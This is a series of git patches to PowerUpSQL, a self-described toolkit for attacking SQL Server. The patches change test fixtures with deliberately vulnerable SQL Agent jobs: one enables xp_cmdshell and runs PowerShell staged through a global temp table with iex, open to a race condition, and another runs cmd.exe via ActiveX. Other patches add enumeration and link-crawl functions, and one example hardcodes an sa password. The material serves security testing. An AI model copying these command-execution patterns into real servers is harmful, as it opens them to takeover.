---------------------------------------------------------------------- @@ -1019,7 +1043,7 @@ EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RUN COMM @command=N'function RunCmd() { var objShell = new ActiveXObject("shell.application"); - objShell.ShellExecute("cmd.exe", "/c echo hello > c:\\windows\\temp\\blah.txt", "", "open", 0); + objShell.ShellExecute("cmd.exe", "/c echo hello > c:\\windows\\temp\\artifact-jscript.txt", "", "open", 0); } RunCmd(); @@ -1072,3 +1096,122 @@ INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (2,'Ethan Hunt',' INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (3,'Evelyn Salt','Angelina Jolie') INSERT INTO ##GlobalTempTbl (Spy_id, SpyName, RealName) VALUES (4,'James Bond','Sean Connery') GO + +------------------------------------------------------------ +-- Create agent job that uses vulnerable global temp tables +------------------------------------------------------------ + +USE [msdb] +GO + +/****** Object: Job [Temp Table Race Condition] Script Date: 5/9/2024 8:52:15 AM ******/ +BEGIN TRANSACTION +DECLARE @ReturnCode INT +SELECT @ReturnCode = 0 +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 8:52:15 AM ******/ +IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) +BEGIN +EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback + +END + +DECLARE @jobId BINARY(16) +EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'Temp Table Race Condition', + @enabled=1, + @notify_level_eventlog=0, + @notify_level_email=0, + @notify_level_netsend=0, + @notify_level_page=0, + @delete_level=0, + @description=N'No description available.', + @category_name=N'[Uncategorized (Local)]', + @owner_login_name=N'MSSQLSRV04\Administrator', @job_id = @jobId OUTPUT +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +/****** Object: Step [run tsql] Script Date: 5/9/2024 8:52:15 AM ******/ +EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'run tsql', + @step_id=1, + @cmdexec_success_code=0, + @on_success_action=1, + @on_success_step_id=0, + @on_fail_action=2, + @on_fail_step_id=0, + @retry_attempts=0, + @retry_interval=0, + @os_run_priority=0, @subsystem=N'TSQL', + @command=N'-- Set filename for PowerShell script +Set @PsFileName = ''''MyPowerShellScript.ps1'''' + +-- Set target directory for PowerShell script to be written to +SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(''''ErrorLogFileName'''')) as VARCHAR(MAX)),''''ERRORLOG'''','''''''') + +-- Create full output path for creating the PowerShell script +SELECT @PsFilePath = @TargetDirectory + @PsFileName + +-- Define the PowerShell code +SET @MyPowerShellCode = ''''Write-Output "hello world" | Out-File "'''' + @TargetDirectory + ''''intendedoutput.txt"'''' + +-- Create a global temp table with a unique name using dynamic SQL +SELECT @MyGlobalTempTable = ''''##temp'''' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000)) + +-- Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table +SELECT @Command = '''' + CREATE TABLE ['''' + @MyGlobalTempTable + ''''](MyID int identity(1,1), PsCode varchar(MAX)) + INSERT INTO ['''' + @MyGlobalTempTable + ''''](PsCode) + SELECT @MyPowerShellCode'''' + +-- Execute that command +EXECUTE sp_ExecuteSQL @command, N''''@MyPowerShellCode varchar(MAX)'''', @MyPowerShellCode + +-- Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1 +SELECT @Command = ''''bcp "SELECT PsCode from ['''' + @MyGlobalTempTable + '''']'''' + ''''" queryout "''''+ @PsFilePath + ''''" -c -T -S '''' + @@SERVERNAME-- Write the file +EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT + +-- Run the PowerShell script +DECLARE @runcmdps nvarchar(4000) +SET @runcmdps = ''''Powershell -C "$x = gc ''''''''''''+ @PsFilePath + '''''''''''';iex($X)"'''' +EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT + +-- Run the PowerShell script +DECLARE @runcmdps nvarchar(4000) +SET @runcmdps = ''''Powershell -C "$x = gc ''''''''''''+ @PsFilePath + '''''''''''';iex($X)"'''' +EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT + +-- Delete the PowerShell script +DECLARE @runcmddel nvarchar(4000) +SET @runcmddel= ''''DEL /Q "'''' + @PsFilePath +''''"'''' +EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT', + @database_name=N'master', + @flags=0 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1 +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'RunDaily-TSQL', + @enabled=1, + @freq_type=4, + @freq_interval=1, + @freq_subday_type=1, + @freq_subday_interval=0, + @freq_relative_interval=0, + @freq_recurrence_factor=0, + @active_start_date=20240509, + @active_end_date=99991231, + @active_start_time=0, + @active_end_time=235959, + @schedule_uid=N'c06927ff-3307-4ca2-b17e-826e3c4942aa' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)' +IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback +COMMIT TRANSACTION +GOTO EndSave +QuitWithRollback: + IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION +EndSave: + +GO + + + + + + From a332cb69368744a3b821462bee762c842ed1fd71 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 09:33:17 -0500 Subject: [PATCH 09/60] Update pesterdb.sql Fixed vulnerable agent job using global temp table. --- tests/pesterdb.sql | 76 +++++++++++++++++++++++++++++++--------------- 1 file changed, 52 insertions(+), 24 deletions(-) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index 4607e05..7e05e35 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -887,7 +887,7 @@ EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run Powe @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'PowerShell', - @command=N'hello world" | out-file c:\windows\temp\artifact-powershell.txt', + @command=N'"hello world" | out-file c:\windows\temp\artifact-powershell.txt', @database_name=N'master', @flags=0 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback @@ -924,7 +924,7 @@ GO USE [msdb] GO -/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT1] Script Date: 5/9/2024 9:06:00 AM ******/ +/****** Object: Job [OS COMMAND EXECUTION EXAMPLE - ActiveX: VBSCRIPT] Script Date: 5/9/2024 9:06:00 AM ******/ BEGIN TRANSACTION DECLARE @ReturnCode INT SELECT @ReturnCode = 0 @@ -1104,11 +1104,11 @@ GO USE [msdb] GO -/****** Object: Job [Temp Table Race Condition] Script Date: 5/9/2024 8:52:15 AM ******/ +/****** Object: Job [Temp Table Race Condition] Script Date: 5/9/2024 9:32:18 AM ******/ BEGIN TRANSACTION DECLARE @ReturnCode INT SELECT @ReturnCode = 0 -/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 8:52:15 AM ******/ +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 9:32:18 AM ******/ IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) BEGIN EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' @@ -1128,7 +1128,7 @@ EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'Temp Table Race Condition', @category_name=N'[Uncategorized (Local)]', @owner_login_name=N'MSSQLSRV04\Administrator', @job_id = @jobId OUTPUT IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback -/****** Object: Step [run tsql] Script Date: 5/9/2024 8:52:15 AM ******/ +/****** Object: Step [run tsql] Script Date: 5/9/2024 9:32:18 AM ******/ EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'run tsql', @step_id=1, @cmdexec_success_code=0, @@ -1139,48 +1139,75 @@ EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'run tsql @retry_attempts=0, @retry_interval=0, @os_run_priority=0, @subsystem=N'TSQL', - @command=N'-- Set filename for PowerShell script -Set @PsFileName = ''''MyPowerShellScript.ps1'''' + @command=N'--------------------------------------- +-- Script: writefile_bcpxpcmdshell.sql +-- Author/Modifications: Scott Sutherland +-- Based on https://www.simple-talk.com/sql/t-sql-programming/the-tsql-of-text-files/ +-- Description: +-- Write PowerShell code to disk and run it using bcp and xp_cmdshell. +--------------------------------------- + +-- Enable xp_cmdshell +sp_configure ''show advanced options'',1 +RECONFIGURE +GO + +sp_configure ''xp_cmdshell'',1 +RECONFIGURE +GO + +-- Create variables +DECLARE @MyPowerShellCode NVARCHAR(MAX) +DECLARE @PsFileName NVARCHAR(4000) +DECLARE @TargetDirectory NVARCHAR(4000) +DECLARE @PsFilePath NVARCHAR(4000) +DECLARE @MyGlobalTempTable NVARCHAR(4000) +DECLARE @Command NVARCHAR(4000) + +-- Set filename for PowerShell script +Set @PsFileName = ''MyPowerShellScript.ps1'' -- Set target directory for PowerShell script to be written to -SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(''''ErrorLogFileName'''')) as VARCHAR(MAX)),''''ERRORLOG'''','''''''') +SELECT @TargetDirectory = REPLACE(CAST((SELECT SERVERPROPERTY(''ErrorLogFileName'')) as VARCHAR(MAX)),''ERRORLOG'','''') -- Create full output path for creating the PowerShell script SELECT @PsFilePath = @TargetDirectory + @PsFileName +SELECT @PsFilePath as PsFilePath -- Define the PowerShell code -SET @MyPowerShellCode = ''''Write-Output "hello world" | Out-File "'''' + @TargetDirectory + ''''intendedoutput.txt"'''' +SET @MyPowerShellCode = ''Write-Output "hello world" | Out-File "'' + @TargetDirectory + ''intendedoutput.txt"'' +SELECT @MyPowerShellCode as PsScriptCode -- Create a global temp table with a unique name using dynamic SQL -SELECT @MyGlobalTempTable = ''''##temp'''' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000)) +SELECT @MyGlobalTempTable = ''##temp'' + CONVERT(VARCHAR(12), CONVERT(INT, RAND() * 1000000)) -- Create a command to insert the PowerShell code stored in the @MyPowerShellCode variable, into the global temp table -SELECT @Command = '''' - CREATE TABLE ['''' + @MyGlobalTempTable + ''''](MyID int identity(1,1), PsCode varchar(MAX)) - INSERT INTO ['''' + @MyGlobalTempTable + ''''](PsCode) - SELECT @MyPowerShellCode'''' - +SELECT @Command = '' + CREATE TABLE ['' + @MyGlobalTempTable + ''](MyID int identity(1,1), PsCode varchar(MAX)) + INSERT INTO ['' + @MyGlobalTempTable + ''](PsCode) + SELECT @MyPowerShellCode'' + -- Execute that command -EXECUTE sp_ExecuteSQL @command, N''''@MyPowerShellCode varchar(MAX)'''', @MyPowerShellCode +EXECUTE sp_ExecuteSQL @command, N''@MyPowerShellCode varchar(MAX)'', @MyPowerShellCode -- Execute bcp via xp_cmdshell (as the service account) to save the contents of the temp table to MyPowerShellScript.ps1 -SELECT @Command = ''''bcp "SELECT PsCode from ['''' + @MyGlobalTempTable + '''']'''' + ''''" queryout "''''+ @PsFilePath + ''''" -c -T -S '''' + @@SERVERNAME-- Write the file +SELECT @Command = ''bcp "SELECT PsCode from ['' + @MyGlobalTempTable + '']'' + ''" queryout "''+ @PsFilePath + ''" -c -T -S '' + @@SERVERNAME + +-- Write the file EXECUTE MASTER..xp_cmdshell @command, NO_OUTPUT --- Run the PowerShell script -DECLARE @runcmdps nvarchar(4000) -SET @runcmdps = ''''Powershell -C "$x = gc ''''''''''''+ @PsFilePath + '''''''''''';iex($X)"'''' -EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT +-- Drop the global temp table +EXECUTE ( ''Drop table '' + @MyGlobalTempTable ) -- Run the PowerShell script DECLARE @runcmdps nvarchar(4000) -SET @runcmdps = ''''Powershell -C "$x = gc ''''''''''''+ @PsFilePath + '''''''''''';iex($X)"'''' +SET @runcmdps = ''Powershell -C "$x = gc ''''''+ @PsFilePath + '''''';iex($X)"'' EXECUTE MASTER..xp_cmdshell @runcmdps, NO_OUTPUT -- Delete the PowerShell script DECLARE @runcmddel nvarchar(4000) -SET @runcmddel= ''''DEL /Q "'''' + @PsFilePath +''''"'''' -EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT', +SET @runcmddel= ''DEL /Q "'' + @PsFilePath +''"'' +-- EXECUTE MASTER..xp_cmdshell @runcmddel, NO_OUTPUT', @database_name=N'master', @flags=0 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback @@ -1215,3 +1242,4 @@ GO + From 5938fcf25c82294456a1e2cd9e2b92bafcc82234 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 09:34:51 -0500 Subject: [PATCH 10/60] Update pesterdb.sql Updates to vulnerable agent job. --- tests/pesterdb.sql | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index 7e05e35..b59ccde 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -1104,11 +1104,11 @@ GO USE [msdb] GO -/****** Object: Job [Temp Table Race Condition] Script Date: 5/9/2024 9:32:18 AM ******/ +/****** Object: Job [Temp Table Race Condition] Script Date: 5/9/2024 9:34:10 AM ******/ BEGIN TRANSACTION DECLARE @ReturnCode INT SELECT @ReturnCode = 0 -/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 9:32:18 AM ******/ +/****** Object: JobCategory [[Uncategorized (Local)]] Script Date: 5/9/2024 9:34:10 AM ******/ IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1) BEGIN EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]' @@ -1128,7 +1128,7 @@ EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'Temp Table Race Condition', @category_name=N'[Uncategorized (Local)]', @owner_login_name=N'MSSQLSRV04\Administrator', @job_id = @jobId OUTPUT IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback -/****** Object: Step [run tsql] Script Date: 5/9/2024 9:32:18 AM ******/ +/****** Object: Step [run tsql] Script Date: 5/9/2024 9:34:10 AM ******/ EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'run tsql', @step_id=1, @cmdexec_success_code=0, @@ -1217,8 +1217,8 @@ EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'RunDaily- @enabled=1, @freq_type=4, @freq_interval=1, - @freq_subday_type=1, - @freq_subday_interval=0, + @freq_subday_type=4, + @freq_subday_interval=1, @freq_relative_interval=0, @freq_recurrence_factor=0, @active_start_date=20240509, @@ -1241,5 +1241,3 @@ GO - - From 14c24180d3453535040b37444c6d61d82d712313 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 15:03:25 -0500 Subject: [PATCH 11/60] Update PowerUpSQL.ps1 Fixed invoke-sqldumpinfo function bugs. --- PowerUpSQL.ps1 | 63 +++++++++++++++++++++++++++++++++++++------------- 1 file changed, 47 insertions(+), 16 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index 5b5ac60..a090a88 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -1,9 +1,9 @@ -#requires -version 2 +#requires -version 2 <# File: PowerUpSQL.ps1 - Author: Scott Sutherland (@_nullbind), NetSPI - 2020 + Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.107 + Version: 1.108 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -26581,12 +26581,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLDatabaseUser -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_users.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_users.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26707,12 +26707,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLServerConfiguration -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_configuration.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_configuration.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26875,12 +26875,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLStoredProcedureCLR -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedur_CLR.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_clr.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_CLR_stored_procedure_CLR.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_clr.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26917,12 +26917,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_version.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_version.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26959,12 +26959,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLAgentJob -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Agent_Job.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_job.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Agent_Jobs.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_jobs.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26973,12 +26973,43 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLOleDbProvder -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_OleDbProvders.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_oledbproviders.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_oledbproviders.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting temp table information + Write-Verbose -Message "$Instance - Getting temp table information..." + $Query = @' + -- List temp tables, columns, and column types + SELECT t1.name as 'Table_Name', + t2.name as 'Column_Name', + t3.name as 'Column_Type', + t1.create_date, + t1.modify_date, + t1.parent_object_id, + OBJECT_ID(t1.parent_object_id) as parent_object, + (SELECT CASE WHEN (select len(t1.name) - len(replace(t1.name,'#',''))) > 1 THEN 1 ELSE 0 END) as GlobalTempTable, + (SELECT CASE WHEN t1.name like '%[_]%' AND (select len(t1.name) - len(replace(t1.name,'#',''))) = 1 THEN 1 ELSE 0 END) as LocalTempTable, + (SELECT CASE WHEN t1.name not like '%[_]%' AND (select len(t1.name) - len(replace(t1.name,'#',''))) = 1 THEN 1 ELSE 0 END) as TableVariable + FROM tempdb.sys.objects AS t1 + JOIN tempdb.sys.columns AS t2 ON t1.OBJECT_ID = t2.OBJECT_ID + JOIN sys.types AS t3 ON t2.system_type_id = t3.system_type_id + WHERE t1.name like '#%'; +'@ + $Results = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_OleDbProvders.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26989,4 +27020,4 @@ Function Invoke-SQLDumpInfo } } -#endregion \ No newline at end of file +#endregion From 185188f9e565371f998b805ec115305e361b46b7 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 15:06:25 -0500 Subject: [PATCH 12/60] Update pesterdb.sql --- tests/pesterdb.sql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/pesterdb.sql b/tests/pesterdb.sql index b59ccde..deaafb7 100644 --- a/tests/pesterdb.sql +++ b/tests/pesterdb.sql @@ -1,5 +1,7 @@ -- Script: pesterdb.sql -- Description: This script can be used to configure a new SQL Server 2014 instance for PowerUpSQL Pester tests. +-- https://github.com/NetSPI/PowerUpSQL/blob/master/tests/pesterdb.sql +-- Author: Scott Sutherland, NetSPI ------------------------------------------------------------ -- Create Logins, Database Users, and Grant Assembly Privs From 6c6a2fb4d82731de81994f6434a553993e7da9cf Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 15:42:32 -0500 Subject: [PATCH 13/60] Create LinkConvertExample.ps1 --- scripts/pending/LinkConvertExample.ps1 | 32 ++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 scripts/pending/LinkConvertExample.ps1 diff --git a/scripts/pending/LinkConvertExample.ps1 b/scripts/pending/LinkConvertExample.ps1 new file mode 100644 index 0000000..6600cea --- /dev/null +++ b/scripts/pending/LinkConvertExample.ps1 @@ -0,0 +1,32 @@ +$output = Get-SQLServerLinkCrawl -Verbose -Username sa -Password 'SuperSecretPassword!' -Instance 'MSSQLSRV04.demo.local\SQLSERVER2014' +$CsvResults = $output | +foreach { + [string]$StringLinkPath = "" + $Path = $_.path + $PathCount = $Path.count - 1 + $LinkSrc = $Path[$PathCount - 1] + $LinkDes = $Path[$PathCount] + $LinkUser = $_.user + $LinkDesSysadmin = $_.Sysadmin + $Instance = $_.instance + $LinkDesVersion = $_.Version + $Path | + foreach { + if ( $StringLinkPath -eq ""){ + [string]$StringLinkPath = "$_" + }else{ + [string]$StringLinkPath = "$StringLinkPath -> $_" + } + } + $Object = New-Object PSObject + $Object | add-member Noteproperty LinkSrc $LinkSrc + $Object | add-member Noteproperty LinkName $LinkDes + $Object | add-member Noteproperty LinkInstance $Instance + $Object | add-member Noteproperty LinkUser $LinkUser + $Object | add-member Noteproperty LinkSysadmin $LinkDesSysadmin + $Object | add-member Noteproperty LinkVersion $LinkDesVersion + $Object | add-member Noteproperty LinkHops $PathCount + $Object | add-member Noteproperty LinkPath $StringLinkPath + $Object +} +$CsvResults | export-csv -NoTypeInformation SQL-Server-Links.csv From dd94fe80cbe05a60dcfde0e249f2a85edc929ec1 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Thu, 9 May 2024 16:19:59 -0500 Subject: [PATCH 14/60] Update PowerUpSQL.ps1 Added new export option to Get-SQLServerLinkCrawl function. --- PowerUpSQL.ps1 | 52 ++++++++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 48 insertions(+), 4 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index a090a88..a6c72b4 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.108 + Version: 1.109 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -15289,7 +15289,11 @@ Function Get-SQLServerLinkCrawl{ [Parameter(Mandatory=$false, HelpMessage="Convert collected data to exportable format.")] - [switch]$Export + [switch]$Export, + + [Parameter(Mandatory=$false, + HelpMessage="Convert collected data to exportable format that is easier to work with.")] + [switch]$Export2 ) Begin @@ -15325,6 +15329,7 @@ Function Get-SQLServerLinkCrawl{ } } + # Return exportable format if($Export){ $LinkList = New-Object System.Data.Datatable [void]$LinkList.Columns.Add("Instance") @@ -15340,9 +15345,48 @@ Function Get-SQLServerLinkCrawl{ } return $LinkList - } else { - return $List + break + } + + # Return exportable format 2 + if($Export2){ + $LinkList = $output | + foreach { + [string]$StringLinkPath = "" + $Path = $_.path + $PathCount = $Path.count - 1 + $LinkSrc = $Path[$PathCount - 1] + $LinkDes = $Path[$PathCount] + $LinkUser = $_.user + $LinkDesSysadmin = $_.Sysadmin + $Instance = $_.instance + $LinkDesVersion = $_.Version + $Path | + foreach { + if ( $StringLinkPath -eq ""){ + [string]$StringLinkPath = "$_" + }else{ + [string]$StringLinkPath = "$StringLinkPath -> $_" + } + } + $Object = New-Object PSObject + $Object | add-member Noteproperty LinkSrc $LinkSrc + $Object | add-member Noteproperty LinkName $LinkDes + $Object | add-member Noteproperty LinkInstance $Instance + $Object | add-member Noteproperty LinkUser $LinkUser + $Object | add-member Noteproperty LinkSysadmin $LinkDesSysadmin + $Object | add-member Noteproperty LinkVersion $LinkDesVersion + $Object | add-member Noteproperty LinkHops $PathCount + $Object | add-member Noteproperty LinkPath $StringLinkPath + $Object + } + + return $LinkList + break } + + # Return powershell object (default) + $List } End From e3633990b110e877811e49e89a577b6e6537e710 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 15 May 2024 09:19:05 -0500 Subject: [PATCH 15/60] Update PowerUpSQL.ps1 Updated Get-SQLServiceAccount output. --- PowerUpSQL.ps1 | 25 +++++++++++++++++++++---- 1 file changed, 21 insertions(+), 4 deletions(-) diff --git a/PowerUpSQL.ps1 b/PowerUpSQL.ps1 index a6c72b4..878f920 100644 --- a/PowerUpSQL.ps1 +++ b/PowerUpSQL.ps1 @@ -3,7 +3,7 @@ File: PowerUpSQL.ps1 Author: Scott Sutherland (@_nullbind), NetSPI - 2023 Major Contributors: Antti Rantasaari and Eric Gruber - Version: 1.109 + Version: 1.110 Description: PowerUpSQL is a PowerShell toolkit for attacking SQL Server. License: BSD 3-Clause Required Dependencies: PowerShell v.2 @@ -9448,9 +9448,9 @@ Function Get-SQLServiceAccount DECLARE @AgentInstance VARCHAR(250) DECLARE @IntegrationVersion VARCHAR(250) DECLARE @DBEngineLogin VARCHAR(100) - DECLARE @AgentLogin VARCHAR(100) + DECLARE @AgentLogin VARCHAR(100) DECLARE @BrowserLogin VARCHAR(100) - DECLARE @WriterLogin VARCHAR(100) + DECLARE @WriterLogin VARCHAR(100) DECLARE @AnalysisLogin VARCHAR(100) DECLARE @ReportLogin VARCHAR(100) DECLARE @IntegrationDtsLogin VARCHAR(100) @@ -9504,7 +9504,24 @@ Function Get-SQLServiceAccount End { # Return data - $TblServiceAccount + # $TblServiceAccount + + # Create new table + $TblNewObject = New-Object -TypeName System.Data.DataTable + $null = $TblNewObject.Columns.Add("ComputerName") + $null = $TblNewObject.Columns.Add("Instance") + $null = $TblNewObject.Columns.Add("ServiceType") + $null = $TblNewObject.Columns.Add("ServiceAccount") + + # Add rows + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"AgentService",$TblServiceAccount.AgentLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"AnalysisService",$TblServiceAccount.AnalysisLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"BrowserService",$TblServiceAccount.BrowserLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"SQLService",$TblServiceAccount.DBEngineLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"IntegrationService",$TblServiceAccount.IntegrationLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"ReportService",$TblServiceAccount.ReportLogin) + $TblNewObject.Rows.Add($TblServiceAccount.ComputerName,$TblServiceAccount.Instance,"WriterService",$TblServiceAccount.WriterLogin) + $TblNewObject } } From 79b4de32d3d4942a1ad77a3e654241ffccea52f9 Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Wed, 15 May 2024 